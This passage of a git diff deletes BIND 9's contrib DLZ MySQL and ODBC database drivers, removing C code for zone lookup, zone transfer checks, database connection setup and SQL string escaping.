-		return (ISC_R_FAILURE);
-	}
-	/* count how many rows in result set */
-	rows = mysql_num_rows(rs);
-	/* get rid of result set, we are done with it. */
-	mysql_free_result(rs);
-
-	/* if we returned any rows, zone xfr is allowed. */
-	if (rows > 0) {
-		return (ISC_R_SUCCESS);
-	}
-
-	/* no rows returned, zone xfr not allowed */
-	return (ISC_R_NOPERM);
-}
-
-/*%
- * If the client is allowed to perform a zone transfer, the next order of
- * business is to get all the nodes in the zone, so bind can respond to the
- * query.
- */
-static isc_result_t
-mysql_allnodes(const char *zone, void *driverarg, void *dbdata,
-	       dns_sdlzallnodes_t *allnodes) {
-	isc_result_t result;
-	MYSQL_RES *rs = NULL;
-	MYSQL_ROW row;
-	unsigned int fields;
-	unsigned int j;
-	unsigned int len;
-	char *tmpString;
-	char *endp;
-	int ttl;
-
-	UNUSED(driverarg);
-
-	/* run the query and get the result set from the database. */
-	result = mysql_get_resultset(zone, NULL, NULL, ALLNODES, dbdata, &rs);
-	/* if we get "not implemented", send it along */
-	if (result == ISC_R_NOTIMPLEMENTED) {
-		return (result);
-	}
-	/* if we didn't get a result set, log an err msg. */
-	if (result != ISC_R_SUCCESS) {
-		if (rs != NULL) {
-			mysql_free_result(rs);
-		}
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "mysql driver unable to return "
-			      "result set for all nodes query");
-		return (ISC_R_FAILURE);
-	}
-
-	result = ISC_R_NOTFOUND;
-
-	row = mysql_fetch_row(rs);     /* get a row from the result set */
-	fields = mysql_num_fields(rs); /* how many columns in result set */
-	while (row != NULL) {
-		if (fields < 4) { /* gotta have at least 4 columns */
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "mysql driver too few fields returned "
-				      "by all nodes query");
-		}
-		/* convert text to int, make sure it worked right  */
-		ttl = strtol(safeGet(row[0]), &endp, 10);
-		if (*endp != '\0' || ttl < 0) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "mysql driver ttl must be "
-				      "a positive number");
-		}
-		if (fields == 4) {
-			/* tell Bind about it. */
-			result = dns_sdlz_putnamedrr(allnodes, safeGet(row[2]),
-						     safeGet(row[1]), ttl,
-						     safeGet(row[3]));
-		} else {
-			/*
-			 * more than 4 fields, concatenate the last
-			 * ones together.  figure out how long to make
-			 * string.
-			 */
-			for (j = 3, len = 0; j < fields; j++) {
-				len += strlen(safeGet(row[j])) + 1;
-			}
-			/* allocate memory, allow for NULL to term string */
-			tmpString = isc_mem_allocate(named_g_mctx, len + 1);
-			/* copy this field to tmpString */
-			strcpy(tmpString, safeGet(row[3]));
-			/* concatenate the rest, with spaces between */
-			for (j = 4; j < fields; j++) {
-				strcat(tmpString, " ");
-				strcat(tmpString, safeGet(row[j]));
-			}
-			/* tell Bind about it. */
-			result = dns_sdlz_putnamedrr(allnodes, safeGet(row[2]),
-						     safeGet(row[1]), ttl,
-						     tmpString);
-			isc_mem_free(named_g_mctx, tmpString);
-		}
-		/* if we weren't successful, log err msg */
-		if (result != ISC_R_SUCCESS) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "dns_sdlz_putnamedrr returned error. "
-				      "Error code was: %s",
-				      isc_result_totext(result));
-			result = ISC_R_FAILURE;
-			break;
-		}
-		/* get next row from the result set */
-		row = mysql_fetch_row(rs);
-	}
-
-	/* free result set memory */
-	mysql_free_result(rs);
-
-	return (result);
-}
-
-/*% if the lookup function does not return SOA or NS records for the zone,
- * use this function to get that information for Bind.
- */
-
-static isc_result_t
-mysql_authority(const char *zone, void *driverarg, void *dbdata,
-		dns_sdlzlookup_t *lookup) {
-	isc_result_t result;
-	MYSQL_RES *rs = NULL;
-
-	UNUSED(driverarg);
-
-	/* run the query and get the result set from the database. */
-	result = mysql_get_resultset(zone, NULL, NULL, AUTHORITY, dbdata, &rs);
-	/* if we get "not implemented", send it along */
-	if (result == ISC_R_NOTIMPLEMENTED) {
-		return (result);
-	}
-	/* if we didn't get a result set, log an err msg. */
-	if (result != ISC_R_SUCCESS) {
-		if (rs != NULL) {
-			mysql_free_result(rs);
-		}
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "mysql driver unable to return "
-			      "result set for authority query");
-		return (ISC_R_FAILURE);
-	}
-	/*
-	 * lookup and authority result sets are processed in the same
-	 * manner mysql_process_rs does the job for both functions.
-	 */
-	return (mysql_process_rs(lookup, rs));
-}
-
-/*% if zone is supported, lookup up a (or multiple) record(s) in it */
-static isc_result_t
-mysql_lookup(const char *zone, const char *name, void *driverarg, void *dbdata,
-	     dns_sdlzlookup_t *lookup, dns_clientinfomethods_t *methods,
-	     dns_clientinfo_t *clientinfo) {
-	isc_result_t result;
-	MYSQL_RES *rs = NULL;
-
-	UNUSED(driverarg);
-	UNUSED(methods);
-	UNUSED(clientinfo);
-
-	/* run the query and get the result set from the database. */
-	result = mysql_get_resultset(zone, name, NULL, LOOKUP, dbdata, &rs);
-	/* if we didn't get a result set, log an err msg. */
-	if (result != ISC_R_SUCCESS) {
-		if (rs != NULL) {
-			mysql_free_result(rs);
-		}
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "mysql driver unable to return "
-			      "result set for lookup query");
-		return (ISC_R_FAILURE);
-	}
-	/*
-	 * lookup and authority result sets are processed in the same manner
-	 * mysql_process_rs does the job for both functions.
-	 */
-	return (mysql_process_rs(lookup, rs));
-}
-
-/*%
- * create an instance of the driver.  Remember, only 1 copy of the driver's
- * code is ever loaded, the driver has to remember which context it's
- * operating in.  This is done via use of the dbdata argument which is
- * passed into all query functions.
- */
-static isc_result_t
-mysql_create(const char *dlzname, unsigned int argc, char *argv[],
-	     void *driverarg, void **dbdata) {
-	isc_result_t result;
-	dbinstance_t *dbi = NULL;
-	char *tmp = NULL;
-	char *dbname = NULL;
-	char *host = NULL;
-	char *user = NULL;
-	char *pass = NULL;
-	char *socket = NULL;
-	int port;
-	MYSQL *dbc;
-	char *endp;
-	int j;
-	unsigned int flags = 0;
-
-	UNUSED(driverarg);
-	UNUSED(dlzname);
-
-	/* verify we have at least 4 arg's passed to the driver */
-	if (argc < 4) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "mysql driver requires "
-			      "at least 4 command line args.");
-		return (ISC_R_FAILURE);
-	}
-
-	/* no more than 8 arg's should be passed to the driver */
-	if (argc > 8) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "mysql driver cannot accept "
-			      "more than 7 command line args.");
-		return (ISC_R_FAILURE);
-	}
-
-	/* parse connection string and get parameters. */
-
-	/* get db name - required */
-	dbname = getParameterValue(argv[1], "dbname=");
-	if (dbname == NULL) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "mysql driver requires a dbname parameter.");
-		result = ISC_R_FAILURE;
-		goto full_cleanup;
-	}
-
-	/* get db port.  Not required, but must be > 0 if specified */
-	tmp = getParameterValue(argv[1], "port=");
-	if (tmp == NULL) {
-		port = 0;
-	} else {
-		port = strtol(tmp, &endp, 10);
-		if (*endp != '\0' || port < 0) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-				      "Mysql driver port "
-				      "must be a positive number.");
-			isc_mem_free(named_g_mctx, tmp);
-			result = ISC_R_FAILURE;
-			goto full_cleanup;
-		}
-		isc_mem_free(named_g_mctx, tmp);
-	}
-
-	/* how many queries were passed in from config file? */
-	switch (argc) {
-	case 4:
-		result = build_sqldbinstance(named_g_mctx, NULL, NULL, NULL,
-					     argv[2], argv[3], NULL, &dbi);
-		break;
-	case 5:
-		result = build_sqldbinstance(named_g_mctx, NULL, NULL, argv[4],
-					     argv[2], argv[3], NULL, &dbi);
-		break;
-	case 6:
-		result = build_sqldbinstance(named_g_mctx, argv[5], NULL,
-					     argv[4], argv[2], argv[3], NULL,
-					     &dbi);
-		break;
-	case 7:
-		result = build_sqldbinstance(named_g_mctx, argv[5], argv[6],
-					     argv[4], argv[2], argv[3], NULL,
-					     &dbi);
-		break;
-	case 8:
-		result = build_sqldbinstance(named_g_mctx, argv[5], argv[6],
-					     argv[4], argv[2], argv[3], argv[7],
-					     &dbi);
-		break;
-	default:
-		/* not really needed, should shut up compiler. */
-		result = ISC_R_FAILURE;
-	}
-
-	/* unsuccessful?, log err msg and cleanup. */
-	if (result != ISC_R_SUCCESS) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "mysql driver could not create "
-			      "database instance object.");
-		result = ISC_R_FAILURE;
-		goto cleanup;
-	}
-
-	/* create and set db connection */
-	dbi->dbconn = mysql_init(NULL);
-
-	/* if db connection cannot be created, log err msg and cleanup. */
-	if (dbi->dbconn == NULL) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "mysql driver could not allocate "
-			      "memory for database connection");
-		result = ISC_R_FAILURE;
-		goto full_cleanup;
-	}
-
-	tmp = getParameterValue(argv[1], "compress=");
-	if (tmp != NULL) {
-		if (strcasecmp(tmp, "true") == 0) {
-			flags = CLIENT_COMPRESS;
-		}
-		isc_mem_free(named_g_mctx, tmp);
-	}
-
-	tmp = getParameterValue(argv[1], "ssl=");
-	if (tmp != NULL) {
-		if (strcasecmp(tmp, "true") == 0) {
-			flags = flags | CLIENT_SSL;
-		}
-		isc_mem_free(named_g_mctx, tmp);
-	}
-
-	tmp = getParameterValue(argv[1], "space=");
-	if (tmp != NULL) {
-		if (strcasecmp(tmp, "ignore") == 0) {
-			flags = flags | CLIENT_IGNORE_SPACE;
-		}
-		isc_mem_free(named_g_mctx, tmp);
-	}
-
-	dbc = NULL;
-	host = getParameterValue(argv[1], "host=");
-	user = getParameterValue(argv[1], "user=");
-	pass = getParameterValue(argv[1], "pass=");
-	socket = getParameterValue(argv[1], "socket=");
-
-	/* enable automatic reconnection. */
-	if (mysql_options((MYSQL *)dbi->dbconn, MYSQL_OPT_RECONNECT,
-			  &(my_bool){ 1 }) != 0)
-	{
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_WARNING,
-			      "mysql driver failed to set "
-			      "MYSQL_OPT_RECONNECT option, "
-			      "continuing");
-	}
-
-	for (j = 0; dbc == NULL && j < 4; j++) {
-		dbc = mysql_real_connect((MYSQL *)dbi->dbconn, host, user, pass,
-					 dbname, port, socket, flags);
-	}
-
-	/* let user know if we couldn't connect. */
-	if (dbc == NULL) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "mysql driver failed to create "
-			      "database connection after 4 attempts");
-		result = ISC_R_FAILURE;
-		goto full_cleanup;
-	}
-
-	/* return db connection via dbdata */
-	*dbdata = dbi;
-
-	result = ISC_R_SUCCESS;
-	goto cleanup;
-
-full_cleanup:
-
-	if (dbi != NULL) {
-		destroy_sqldbinstance(dbi);
-	}
-
-cleanup:
-
-	if (dbname != NULL) {
-		isc_mem_free(named_g_mctx, dbname);
-	}
-	if (host != NULL) {
-		isc_mem_free(named_g_mctx, host);
-	}
-	if (user != NULL) {
-		isc_mem_free(named_g_mctx, user);
-	}
-	if (pass != NULL) {
-		isc_mem_free(named_g_mctx, pass);
-	}
-	if (socket != NULL) {
-		isc_mem_free(named_g_mctx, socket);
-	}
-
-	return (result);
-}
-
-/*%
- * destroy the driver.  Remember, only 1 copy of the driver's
- * code is ever loaded, the driver has to remember which context it's
- * operating in.  This is done via use of the dbdata argument.
- * so we really only need to clean it up since we are not using driverarg.
- */
-
-static void
-mysql_destroy(void *driverarg, void *dbdata) {
-	dbinstance_t *dbi;
-
-	UNUSED(driverarg);
-
-	dbi = (dbinstance_t *)dbdata;
-
-	/* release DB connection */
-	if (dbi->dbconn != NULL) {
-		mysql_close((MYSQL *)dbi->dbconn);
-	}
-
-	/* destroy DB instance */
-	destroy_sqldbinstance(dbi);
-}
-
-/* pointers to all our runtime methods. */
-/* this is used during driver registration */
-/* i.e. in dlz_mysql_init below. */
-static dns_sdlzmethods_t dlz_mysql_methods = {
-	mysql_create,
-	mysql_destroy,
-	mysql_findzone,
-	mysql_lookup,
-	mysql_authority,
-	mysql_allnodes,
-	mysql_allowzonexfr,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-};
-
-/*%
- * Wrapper around dns_sdlzregister().
- */
-isc_result_t
-dlz_mysql_init(void) {
-	isc_result_t result;
-
-	/*
-	 * Write debugging message to log
-	 */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(2), "Registering DLZ mysql driver.");
-
-	/* Driver is always threadsafe.  Because of the way MySQL handles
-	 * threads the MySQL driver can only be used when bind is run single
-	 * threaded.  Using MySQL with Bind running multi-threaded is not
-	 * allowed.  When using the MySQL driver "-n1" should always be
-	 * passed to Bind to guarantee single threaded operation.
-	 */
-	result = dns_sdlzregister("mysql", &dlz_mysql_methods, NULL,
-				  DNS_SDLZFLAG_RELATIVEOWNER |
-					  DNS_SDLZFLAG_RELATIVERDATA |
-					  DNS_SDLZFLAG_THREADSAFE,
-				  named_g_mctx, &dlz_mysql);
-	/* if we can't register the driver, there are big problems. */
-	if (result != ISC_R_SUCCESS) {
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "dns_sdlzregister() failed: %s",
-				 isc_result_totext(result));
-		result = ISC_R_UNEXPECTED;
-	}
-
-	return (result);
-}
-
-/*%
- * Wrapper around dns_sdlzunregister().
- */
-void
-dlz_mysql_clear(void) {
-	/*
-	 * Write debugging message to log
-	 */
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_DEBUG(2), "Unregistering DLZ mysql driver.");
-
-	/* unregister the driver. */
-	if (dlz_mysql != NULL) {
-		dns_sdlzunregister(&dlz_mysql);
-	}
-}
-
-#endif /* ifdef DLZ_MYSQL */
diff --git a/contrib/dlz/drivers/dlz_odbc_driver.c b/contrib/dlz/drivers/dlz_odbc_driver.c
deleted file mode 100644
index d251721b3f..0000000000
--- a/contrib/dlz/drivers/dlz_odbc_driver.c
+++ /dev/null
@@ -1,1424 +0,0 @@
-/*
- * Copyright (C) 2002 Stichting NLnet, Netherlands, stichting@nlnet.nl.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND STICHTING NLNET
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * STICHTING NLNET BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- *
- * The development of Dynamically Loadable Zones (DLZ) for Bind 9 was
- * conceived and contributed by Rob Butler.
- *
- * Permission to use, copy, modify, and distribute this software for any
- * purpose with or without fee is hereby granted, provided that the
- * above copyright notice and this permission notice appear in all
- * copies.
- *
- * THE SOFTWARE IS PROVIDED "AS IS" AND ROB BUTLER
- * DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL
- * ROB BUTLER BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR
- * CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS
- * OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE
- * OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE
- * USE OR PERFORMANCE OF THIS SOFTWARE.
- */
-
-/*
- * Copyright (C) 1999-2001, 2016  Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, You can obtain one at http://mozilla.org/MPL/2.0/.
- */
-
-#ifdef DLZ_ODBC
-#include <sql.h>
-#include <sqlext.h>
-#include <sqltypes.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-
-#include <isc/mem.h>
-#include <isc/platform.h>
-#include <isc/print.h>
-#include <isc/result.h>
-#include <isc/string.h>
-#include <isc/util.h>
-
-#include <dns/log.h>
-#include <dns/result.h>
-#include <dns/sdlz.h>
-
-#include <dlz/dlz_odbc_driver.h>
-#include <dlz/sdlz_helper.h>
-#include <named/globals.h>
-
-static dns_sdlzimplementation_t *dlz_odbc = NULL;
-
-#define dbc_search_limit 30
-#define ALLNODES	 1
-#define ALLOWXFR	 2
-#define AUTHORITY	 3
-#define FINDZONE	 4
-#define LOOKUP		 5
-
-#define sqlOK(a) ((a == SQL_SUCCESS || a == SQL_SUCCESS_WITH_INFO) ? -1 : 0)
-
-/*
- * Private Structures
- */
-
-/*
- * structure to hold ODBC connection & statement
- */
-
-typedef struct {
-	SQLHDBC dbc;
-	SQLHSTMT stmnt;
-} odbc_db_t;
-
-/*
- * Structure to hold everything needed by this "instance" of the odbc driver
- * remember, the driver code is only loaded once, but may have many separate
- * instances
- */
-
-typedef struct {
-	db_list_t *db;	 /* handle to a list of DB */
-	SQLHENV sql_env; /* handle to SQL environment */
-	SQLCHAR *dsn;
-	SQLCHAR *user;
-	SQLCHAR *pass;
-} odbc_instance_t;
-
-/* forward reference */
-
-static size_t
-odbc_makesafe(char *to, const char *from, size_t length);
-
-/*
- * Private methods
- */
-
-static SQLSMALLINT
-safeLen(void *a) {
-	if (a == NULL) {
-		return (0);
-	}
-	return (strlen((char *)a));
-}
-
-/*% properly cleans up an odbc_instance_t */
-
-static void
-destroy_odbc_instance(odbc_instance_t *odbc_inst) {
-	dbinstance_t *ndbi = NULL;
-	dbinstance_t *dbi = NULL;
-
-	/* get the first DBI in the list */
-	ndbi = ISC_LIST_HEAD(*odbc_inst->db);
-
-	/* loop through the list */
-	while (ndbi != NULL) {
-		dbi = ndbi;
-		/* get the next DBI in the list */
-		ndbi = ISC_LIST_NEXT(dbi, link);
-
-		/* if we have a connection / statement object in memory */
-		if (dbi->dbconn != NULL) {
-			/* free statement handle */
-			if (((odbc_db_t *)(dbi->dbconn))->stmnt != NULL) {
-				SQLFreeHandle(
-					SQL_HANDLE_STMT,
-					((odbc_db_t *)(dbi->dbconn))->stmnt);
-				((odbc_db_t *)(dbi->dbconn))->stmnt = NULL;
-			}
-
-			/* disconnect from database & free connection handle */
-			if (((odbc_db_t *)(dbi->dbconn))->dbc != NULL) {
-				SQLDisconnect(((odbc_db_t *)dbi->dbconn)->dbc);
-				SQLFreeHandle(
-					SQL_HANDLE_DBC,
-					((odbc_db_t *)(dbi->dbconn))->dbc);
-				((odbc_db_t *)(dbi->dbconn))->dbc = NULL;
-			}
-
-			/* free memory that held connection & statement. */
-			isc_mem_free(named_g_mctx, dbi->dbconn);
-		}
-		/* release all memory that comprised a DBI */
-		destroy_sqldbinstance(dbi);
-	}
-	/* release memory for the list structure */
-	isc_mem_put(named_g_mctx, odbc_inst->db, sizeof(db_list_t));
-
-	/* free sql environment */
-	if (odbc_inst->sql_env != NULL) {
-		SQLFreeHandle(SQL_HANDLE_ENV, odbc_inst->sql_env);
-	}
-
-	/* free ODBC instance strings */
-	if (odbc_inst->dsn != NULL) {
-		isc_mem_free(named_g_mctx, odbc_inst->dsn);
-	}
-	if (odbc_inst->pass != NULL) {
-		isc_mem_free(named_g_mctx, odbc_inst->pass);
-	}
-	if (odbc_inst->user != NULL) {
-		isc_mem_free(named_g_mctx, odbc_inst->user);
-	}
-
-	/* free memory for odbc_inst */
-	if (odbc_inst != NULL) {
-		isc_mem_put(named_g_mctx, odbc_inst, sizeof(odbc_instance_t));
-	}
-}
-
-/*% Connects to database, and creates ODBC statements */
-
-static isc_result_t
-odbc_connect(odbc_instance_t *dbi, odbc_db_t **dbc) {
-	odbc_db_t *ndb = *dbc;
-	SQLRETURN sqlRes;
-	isc_result_t result = ISC_R_SUCCESS;
-
-	if (ndb != NULL) {
-		/*
-		 * if db != null, we have to do some cleanup
-		 * if statement handle != null free it
-		 */
-		if (ndb->stmnt != NULL) {
-			SQLFreeHandle(SQL_HANDLE_STMT, ndb->stmnt);
-			ndb->stmnt = NULL;
-		}
-
-		/* if connection handle != null free it */
-		if (ndb->dbc != NULL) {
-			SQLFreeHandle(SQL_HANDLE_DBC, ndb->dbc);
-			ndb->dbc = NULL;
-		}
-	} else {
-		ndb = isc_mem_allocate(named_g_mctx, sizeof(odbc_db_t));
-		memset(ndb, 0, sizeof(odbc_db_t));
-	}
-
-	sqlRes = SQLAllocHandle(SQL_HANDLE_DBC, dbi->sql_env, &(ndb->dbc));
-	if (!sqlOK(sqlRes)) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Odbc driver unable to allocate memory");
-		result = ISC_R_NOMEMORY;
-		goto cleanup;
-	}
-
-	sqlRes = SQLConnect(ndb->dbc, dbi->dsn, safeLen(dbi->dsn), dbi->user,
-			    safeLen(dbi->user), dbi->pass, safeLen(dbi->pass));
-	if (!sqlOK(sqlRes)) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Odbc driver unable to connect");
-		result = ISC_R_FAILURE;
-		goto cleanup;
-	}
-
-	sqlRes = SQLAllocHandle(SQL_HANDLE_STMT, ndb->dbc, &(ndb->stmnt));
-	if (!sqlOK(sqlRes)) {
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-			      DNS_LOGMODULE_DLZ, ISC_LOG_ERROR,
-			      "Odbc driver unable to allocate memory");
-		result = ISC_R_NOMEMORY;
-		goto cleanup;
-	}
-
-	*dbc = ndb;
-
-	return (ISC_R_SUCCESS);
-
-cleanup:
-
-	if (ndb != NULL) {
-		/* if statement handle != null free it */
-		if (ndb->stmnt != NULL) {
-			SQLFreeHandle(SQL_HANDLE_STMT, ndb->stmnt);
-			ndb->stmnt = NULL;
-		}
-
-		/* if connection handle != null free it */
-		if (ndb->dbc != NULL) {
-			SQLDisconnect(ndb->dbc);
-			SQLFreeHandle(SQL_HANDLE_DBC, ndb->dbc);
-			ndb->dbc = NULL;
-		}
-		/* free memory holding ndb */
-		isc_mem_free(named_g_mctx, ndb);
-	}
-
-	return (result);
-}
-
-/*%
- * Loops through the list of DB instances, attempting to lock
- * on the mutex.  If successful, the DBI is reserved for use
- * and the thread can perform queries against the database.
- * If the lock fails, the next one in the list is tried.
- * looping continues until a lock is obtained, or until
- * the list has been searched dbc_search_limit times.
- * This function is only used when the driver is compiled for
- * multithreaded operation.
- */
-
-static dbinstance_t *
-odbc_find_avail_conn(db_list_t *dblist) {
-	dbinstance_t *dbi = NULL;
-	dbinstance_t *head;
-	int count = 0;
-
-	/* get top of list */
-	head = dbi = ISC_LIST_HEAD(*dblist);
-
-	/* loop through list */
-	while (count < dbc_search_limit) {
-		/* try to lock on the mutex */
-		if (isc_mutex_trylock(&dbi->instance_lock) == ISC_R_SUCCESS) {
-			return (dbi); /* success, return the DBI for use. */
-		}
-		/* not successful, keep trying */
-		dbi = ISC_LIST_NEXT(dbi, link);
-
-		/* check to see if we have gone to the top of the list. */
-		if (dbi == NULL) {
-			count++;
-			dbi = head;
-		}
-	}
-	isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE, DNS_LOGMODULE_DLZ,
-		      ISC_LOG_INFO,
-		      "Odbc driver unable to find available "
-		      "connection after searching %d times",
-		      count);
-	return (NULL);
-}
-
-/*% Allocates memory for a new string, and then constructs the new
- * string by "escaping" the input string.  The new string is
- * safe to be used in queries.  This is necessary because we cannot
- * be sure of what types of strings are passed to us, and we don't
- * want special characters in the string causing problems.
- */
-
-static char *
-odbc_escape_string(const char *instr) {
-	char *outstr;
-	unsigned int len;
-
-	if (instr == NULL) {
-		return (NULL);
-	}
-
-	len = strlen(instr);
-
-	outstr = isc_mem_allocate(named_g_mctx, (2 * len * sizeof(char)) + 1);
-
-	odbc_makesafe(outstr, instr, len);
-
-	return (outstr);
-}
-
-/* ---------------
- * Escaping arbitrary strings to get valid SQL strings/identifiers.
- *
- * Replaces "\\" with "\\\\" and "'" with "''".
- * length is the length of the buffer pointed to by
- * from.  The buffer at to must be at least 2*length + 1 characters
- * long.  A terminating NUL character is written.
- *
- * NOTICE!!!
- * This function was borrowed directly from PostgreSQL's libpq.
- *
- * The copyright statements from the original file containing this
- * function are included below:
- * Portions Copyright (c) 1996-2001, PostgreSQL Global Development Group
- * Portions Copyright (c) 1994, Regents of the University of California
- * ---------------
- */
-
-static size_t
-odbc_makesafe(char *to, const char *from, size_t length) {
-	const char *source = from;
-	char *target = to;
-	unsigned int remaining = length;
-
-	while (remaining > 0) {
-		switch (*source) {
-		case '\\':
-			*target = '\\';
-			target++;
-			*target = '\\';
-			/* target and remaining are updated below. */
-			break;
-
-		case '\'':
-			*target = '\'';
-			target++;
-			*target = '\'';
-			/* target and remaining are updated below. */
-			break;
-
-		default:
-			*target = *source;
-			/* target and remaining are updated below. */
-		}
-		source++;
-		target++;
-		remaining--;
-	}
-
-	/* Write the terminating NUL character. */
-	*target = '\0';
-
-	return (target - to);
-}
-
-/*%
- * This function is the real core of the driver.   Zone, record
- * and client strings are passed in (or NULL is passed if the
- * string is not available).  The type of query we want to run
- * is indicated by the query flag, and the dbdata object is passed
- * passed in to.  dbdata really holds either:
- *		1) a list of database instances (in multithreaded mode) OR
- *		2) a single database instance (in single threaded mode)
- * The function will construct the query and obtain an available
- * database instance (DBI).  It will then run the query and hopefully
- * obtain a result set.  The data base instance that is used is returned
- * to the caller so they can get the data from the result set from it.
- * If successful, it will be the responsibility of the caller to close
- * the cursor, and unlock the mutex of the DBI when they are done with it.
- * If not successful, this function will perform all the cleanup.
- */
-
-static isc_result_t
-odbc_get_resultset(const char *zone, const char *record, const char *client,
-		   unsigned int query, void *dbdata, dbinstance_t **r_dbi) {
-	isc_result_t result;
-	dbinstance_t *dbi = NULL;
-	char *querystring = NULL;
-	unsigned int j = 0;
-	SQLRETURN sqlRes;
-
-	REQUIRE(*r_dbi == NULL);
-
-	/* get db instance / connection */
-
-	/* find an available DBI from the list */
-	dbi = odbc_find_avail_conn(((odbc_instance_t *)dbdata)->db);
-
-	/* if DBI is null, can't do anything else */
-	if (dbi == NULL) {
-		return (ISC_R_FAILURE);
-	}
-
-	/* what type of query are we going to run? */
-	switch (query) {
-	case ALLNODES:
-		/*
-		 * if the query was not passed in from the config file
-		 * then we can't run it.  return not_implemented, so
-		 * it's like the code for that operation was never
-		 * built into the driver.... AHHH flexibility!!!
-		 */
-		if (dbi->allnodes_q == NULL) {
-			result = ISC_R_NOTIMPLEMENTED;
-			goto cleanup;
-		}
-		break;
-	case ALLOWXFR:
-		/* same as comments as ALLNODES */
-		if (dbi->allowxfr_q == NULL) {
-			result = ISC_R_NOTIMPLEMENTED;
-			goto cleanup;
-		}
-		break;
-	case AUTHORITY:
-		/* same as comments as ALLNODES */
-		if (dbi->authority_q == NULL) {
-			result = ISC_R_NOTIMPLEMENTED;
-			goto cleanup;
-		}
-		break;
-	case FINDZONE:
-		/* this is required.  It's the whole point of DLZ! */
-		if (dbi->findzone_q == NULL) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_DEBUG(2),
-				      "No query specified for findzone.  "
-				      "Findzone requires a query");
-			result = ISC_R_FAILURE;
-			goto cleanup;
-		}
-		break;
-	case LOOKUP:
-		/* this is required.  It's also a major point of DLZ! */
-		if (dbi->lookup_q == NULL) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DATABASE,
-				      DNS_LOGMODULE_DLZ, ISC_LOG_DEBUG(2),
-				      "No query specified for lookup.  "
-				      "Lookup requires a query");
-			result = ISC_R_FAILURE;
-			goto cleanup;
-		}
-		break;
-	default:
-		/*
-		 * this should never happen.  If it does, the code is
-		 * screwed up!
-		 */
-		UNEXPECTED_ERROR(__FILE__, __LINE__,
-				 "Incorrect query flag passed to "
-				 "odbc_get_resultset");
-		result = ISC_R_UNEXPECTED;
-		goto cleanup;
-	}
-
-	/*
-	 * was a zone string passed?  If so, make it safe for use in
